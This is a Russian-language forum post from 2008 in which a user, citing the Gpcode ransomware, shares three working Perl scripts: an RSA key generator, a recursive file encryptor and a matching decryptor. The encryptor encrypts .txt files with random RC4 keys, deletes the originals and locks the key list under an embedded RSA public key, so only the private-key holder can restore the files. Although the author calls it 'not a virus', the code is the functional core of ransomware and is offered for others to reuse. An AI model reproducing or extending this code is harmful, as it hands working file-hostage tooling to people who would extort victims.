Показать сообщение отдельно

Rc4+rsa шифровщик/дешифровщик
  #395  
Старый 10.07.2008, 12:28
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
С нами: 10021597

Репутация: 905


По умолчанию Rc4+rsa шифровщик/дешифровщик

По мотивам сообщений о вирусе Gpcode. Не вирус, естественно, обычный шифровщик файлов, просто заинтересовался крипт-модулями в перле. Состоит из трех скриптов:
1. генератор ключей (сохраняются в отдельном каталоге, эти ключи также можно встроить в сам код).
2. собственно шифровщик файлов - сами файлы шифруются алгоритмом RC4 (ключ генерится рандомно), формируется список "файл - RC4-ключ", каждая пара разделена табулятором. После шифрования файлов список шифруется открытым ключом RSA, сгенеренным первым скриптом. Закриптованные файлы сохраняются в том же каталоге, что и оригиналы, к их именам добавляется ._CRYPT (хе-хе). Исходный файл удаляется.
3. дешифровщик файлов - дешифрует сначала список файлов и ключей, используя закрытый ключ RSA, затем сами файлы.

1. Генератор ключей
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;

sub myexit ($);

my $rsa = Crypt::RSA->new ();
my ($public, $private) =
  $rsa->keygen (
    'Identity'  => 'lamer@server.ru',
    'Size'      => 1024,
    'Password'  => 'Are you really thinking that you can hack my password phrase, eh?',
    'Verbosity' => 1,
    'Filename'  => '/home/user/rsakeys/mykey', # в каталоге /home/user/rsakeys получим пару ключей mykey.public и mykey.private
  ) or myexit 'RSA keygen error: ' . $rsa->errstr, -1;

exit 0;

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
2. Шифровщик
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RC4;
use Crypt::RSA;

sub tree ($);
sub encrypt_file ($);
sub encrypt_list ();
sub myexit ($$);

tree './directory'; # Указываем путь к каталогу, обходим его рекурсивно
encrypt_list ();
exit 0;

# Генерируем парольную фразу для RC4
sub genphrase () { 
  my (@chars, $charlen, $passlen, $passphrase, $i);
  @chars = qw (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9);
  $charlen = scalar @chars;
  $passlen = 10;
  for $i (0 .. $passlen - 1) {
    $passphrase .= $chars[int (rand ($charlen - 1))];
  }
  return $passphrase;
}

# Шифруем файл алгоритмом RC4
sub encrypt_file ($) {
  my $fname = shift;
  my ($F, $content, $rdeny, $wdeny, $rc4key, $rc4, $listfile);

  #print 'Starting encryption: ', $fname, "\n";
  $listfile = '_!_list_!_.txt'; # список пар "имя файла - RC4-ключ"
  $rc4key = genphrase ();
  #print $fname, "\t", $rc4key, "\n";
  $rc4 = Crypt::RC4->new ($rc4key);
  open $F, '<', $fname or $rdeny = 1;
  unless ($rdeny) {
    $content .= $_ while <$F>;
    close $F;
    $content = $rc4->RC4 ($content);
    open $F, '>', $fname . '._CRYPT' or $wdeny = 1;
    unless ($wdeny) {
      binmode $F;
      print $F $content;
      close $F;
      open $F, '>>', $listfile;
      print $F $fname, "\t", $rc4key, "\n";
      close $F;
      unlink $fname;
    }
    #print "Encryption complete\n";
  }
  return 0;
}

# Шифруем фай-список открытым ключом RSA
sub encrypt_list () {
  my ($rsa, $public, $F, $content, $listfile);

  $rsa = Crypt::RSA->new ();
  # два варианта использования ключа - брать из файла или внедрять прямо в код
  # $public = Crypt::RSA::Key::Public ('Filename' => '/home/user/rsakeys/mykey.public');
  $public = bless ( {
    'e' => 65537,
    'n' => 'тута_очень_многа_цифер ))',
    'Version' => '1.97',
    'Identity' => 'lamer@server.ru'
  }, 'Crypt::RSA::Key::Public' );
  $listfile = '_!_list_!_.txt';
  open $F, '<', $listfile;
  $content .= $_ while <$F>;
  close $F;
  $content = $rsa->encrypt (
    'Message' => $content,
    'Key' => $public,
    'Armour' => 0,
  );
  open $F, '>', $listfile . '.new';
  binmode $F;
  print $F $content;
  close $F;
  unlink $listfile;
  rename $listfile . '.new', $listfile;
  return 0;
}

# Обход каталога рекурсивно
sub tree ($) {
  my $dirname = shift;
  my ($DIR, $fullpath, @files, $file, $deny);

  opendir $DIR, $dirname or $deny = 1;#myexit 'opendir() error: ' . $!, -1;
  unless ($deny) {
    @files = readdir $DIR;
    foreach $file (@files) {
      next if $file eq '.' || $file eq '..';
      $fullpath = $dirname . '/' . $file;
      if (-d $fullpath) {
        #print "$fullpath - directory\n";
        tree $fullpath;
      } elsif (-f $fullpath) {
        encrypt_file $fullpath if $fullpath =~ /\.txt$/; # обрабатываем тока *.txt файлы
      }
    }
    closedir $DIR;
  }
}

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
3. Декриптор файлов
Код:
#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Crypt::RSA;
use Crypt::RC4;

sub decode_list ($);
sub decode_files ($);
sub myexit ($$);

my $content = decode_list '_!_list_!_.txt';
decode_files $content;

# Дешифруем список файлов и ключей закрытым ключом RSA
sub decode_list ($) {
  my $listname = shift;
  my ($content, $F, $rsa, $private);

  open $F, '<', $listname or myexit 'list file open error: ' . $!, -1;
  binmode $F;
  $content .= $_ while <$F>;
  close $F;
  $rsa = Crypt::RSA->new () or myexit 'RSA init error: ' . Crypt::RSA->errstr, -1;
  $private = Crypt::RSA::Key::Private->new ( # юзаем приватный ключ из внешнего файла
    'Filename' => '/home/isn/rsakeys/krypt3r.private',
    'Password' => 'Are you really thinking that you can hack my password phrase, eh?', # не забываем парольную фразу
  );
  $content = $rsa->decrypt (
    'Cyphertext' => $content,
    'Key' => $private,
    'Armour' => 0,
  ) or myexit 'RSA decripting error: ' . $rsa->errstr, -1;
  return $content;
}

# парсим расшифрованный список и затем расшифровываем файлы
# криптованные файлы удаляем
sub decode_files ($) {
  my $content = shift;
  my (@lines, $line, $fname, $newfname, $rc4key, $rc4, $F, $cnt);

  @lines = split /\n/, $content;
  foreach $line (@lines) {
    ($fname, $rc4key) = split /\t/, $line;
    $rc4 = Crypt::RC4->new ($rc4key);
    undef $cnt;
    open $F, '<', $fname . '._CRYPT' or myexit 'encrypted file open error:' . $!, -1;
    $cnt .= $_ while <$F>;
    close $F;
    $cnt = $rc4->RC4 ($cnt);
    open $F, '>', $fname or myexit 'plaintext file open error: ' . $!, -1;
    print $F $cnt;
    close $F;
    unlink $fname . '._CRYPT';
  }
}

sub myexit ($$) {
  my ($msg, $code) = @_;

  print $msg, "\n";
  exit $code;
}
Тестилось под линуксом. Требуются модули Crypt::RSA и Crypt::RC4. Доводить до ума уже лень =) Может, кто-нить заюзает.
 
Ответить с цитированием